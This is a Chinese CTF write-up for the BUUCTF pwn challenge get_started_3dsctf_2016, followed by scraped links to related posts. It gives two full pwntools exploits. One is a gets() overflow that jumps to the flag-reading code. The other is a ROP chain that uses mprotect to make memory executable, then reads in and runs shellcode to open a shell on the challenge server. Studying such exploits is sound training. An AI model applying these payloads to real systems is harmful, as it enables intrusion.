[BUUCTF]PWN11——get_started_3dsctf_2016

题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016

步骤:

第一个方法,本地打通,要自己创建一个flag.txt

例行检查,32位,开启了nx保护

nc一下,看看程序大概的执行情况

32位ida载入,shift+f12查看程序里的字符串,看到了flag.txt

双击跟进,ctrl+x查看哪个函数调用了它,发现了一个函数,当a1=0x308cd64f,a2=0x195719d1的时候就会读出flag

看一下a1和a2在栈上的参数位置,它的位置在返回地址之后,没法利用溢出覆盖来控制程序

这边我们要想办法绕过这个if判断,tap+空格来到这个界面,看到从0x80489bb开始,程序开始设置打开flag.txt的参数,我们只要将程序执行流跳转到这里就可以读出flag

根据nc时候看到的字符串,找到输入点,gets函数,存在溢出漏洞,用来溢出覆盖返回地址

exp:

from pwn import*

p=process('./get_started_3dsctf_2016')
payload='a'*0x38+p32(0x80489bb)
p.sendline(payload)
p.interactive()

第二个方法可以打通远程,这也应该是这道题的准确做法

一开始是想用printf泄露libc的,但是调试exp的时候老是报错,一开始是以为python里的输出是print,改了之后还是不行,就放弃了

在查看了其他师傅的wp之后发现这题的关键所在是程序里有一个mprotect函数,它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行即可获取shell

首先按先说一下mprotect函数:原型如下

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限

首先造成溢出,让程序跳转到mprotect函数地址,去执行

payload = 'A' * 0x38 + p32(mprotect_addr)

现在需要设置mprotect函数的三个参数,本来32位程序传参是不需要借用寄存器的,但是为了能够继续控制程序,需要用到ret指令,所以这里就借用指令片段了

ctrl+s调出程序的段表,将0x80EB000地址开始修改为可读可写可执行

使用以下指令可以找到我们需要的ret指令,我们mprotect函数只要设置3个参数,这边就借用3个寄存器

 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop


然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序

payload += p32(pop3_ret) 

payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc) payload += p32(read_addr)

read函数原型

ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓

可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令

payload += p32(pop3_ret)  

payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100) payload += p32(mem_addr)#将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode

到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可

r.sendline(asm(shellcraft.sh()))#shellcode可以利用pwntools直接生成
#shellcode=asm(shellcraft.sh())

完整EXP

from pwn import *

elf = ELF('./get_started_3dsctf_2016')

r=remote('node3.buuoj.cn', 29905)

pop3_ret = 0x804951D

mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7 mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read'] payload = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc) payload += p32(read_addr) payload += p32(pop3_ret) payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100) payload += p32(mem_addr) r.sendline(payload) payload = asm(shellcraft.sh()) r.sendline(payload) r.interactive()


这题的主要方法就是利用ret持续控制程序

[BUUCTF]PWN11——get_started_3dsctf_2016的更多相关文章

  1. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  2. [BUUCTF]PWN14——not_the_same_3dsctf_2016

    [BUUCTF]PWN14--not_the_same_3dsctf_2016 题目网址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016 步骤 ...

  3. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  4. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  5. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  6. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  7. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  8. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  9. BUUCTF WEB-WP(3)

    BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...

随机推荐

  1. 快速从零开始整合SSM,小白包会(1)

    整合SSM,关键就是几个xml的配置. 准备: 1.   Idea(配置好tomcat,可以安装插件freeMybatis,提高效率,安装插件不难,百度经验就有) 2.   下载好数据库MySql,以 ...

  2. [hdu4388]Stone Game II

    不管是否使用技能,发现操作前后所有堆二进制中1的个数之和不变.那么对于一个堆其实可以等价转换为一个k个石子的堆(k为该数二进制的个数),然后就是个nim游戏. 1 #include<bits/s ...

  3. [noi1755]Trie

    定义S对应的数组为$a_{i}=\min_{0\le j<i,S_{j}=S_{i}}i-j$,特别的,若不存在j,令$a_{i}=i$,那么容易发现存在双射关系就意味这两者对应的数组相同 因此 ...

  4. 多线程05.thread不知道的知识

    Thread thread = new Thread(); // init(null, null, "Thread-" + nextThreadNum(), 0); //init( ...

  5. [IIS]文件夹权限

    发布完iis,默认的 Application Pool 没有权限访问文件夹. 可以给项目文件夹添加用户权限. 右键 - "属性" - "安全" - " ...

  6. Codeforces 521E - Cycling City(点双连通分量+分类讨论)

    Codeforces 题面传送门 & 洛谷题面传送门 大家都是暴力找生成树然后跳路径,代码不到 50 行(暴论)的一说--好,那本蒟蒻决定提供一种代码 150 行,但复杂度也是线性的分类讨论做 ...

  7. Docker Nginx-Proxy 容器Nginx Proxy反向代理

    Docker Nginx-Proxy 容器Nginx Proxy反向代理   简单介绍 Docker容器的自动Nginx反向代理   dockerhub地址 https://hub.docker.co ...

  8. MAC——解决问题:打不开,因为它来自身份不明的开发者

    今天在mac电脑上,下载了一个软件,是从某个网页上下载的,点击却不能打开,弹出窗口提示说"打不开xx,因为它来自身份不明的开发者",怎么解决?下面来看下. 方法/步骤     点击 ...

  9. rust shadow

    1 fn main() { 2 let mut demo = 12; 3 println!("{}",demo); 4 demo = 21; // 值可变,数据类型不可变 5 pr ...

  10. CQC认证与3C认证的区别是什么

    中国CCC认证为中国的强制性认证(什么产品能做,CQC网上都要目录), CQC是自愿性的,(不能做CCC认证的产品,可以选择做CQC认证) 产品想要在中国市场上流通,特别是进入超市,商场,招标工厂等的 ...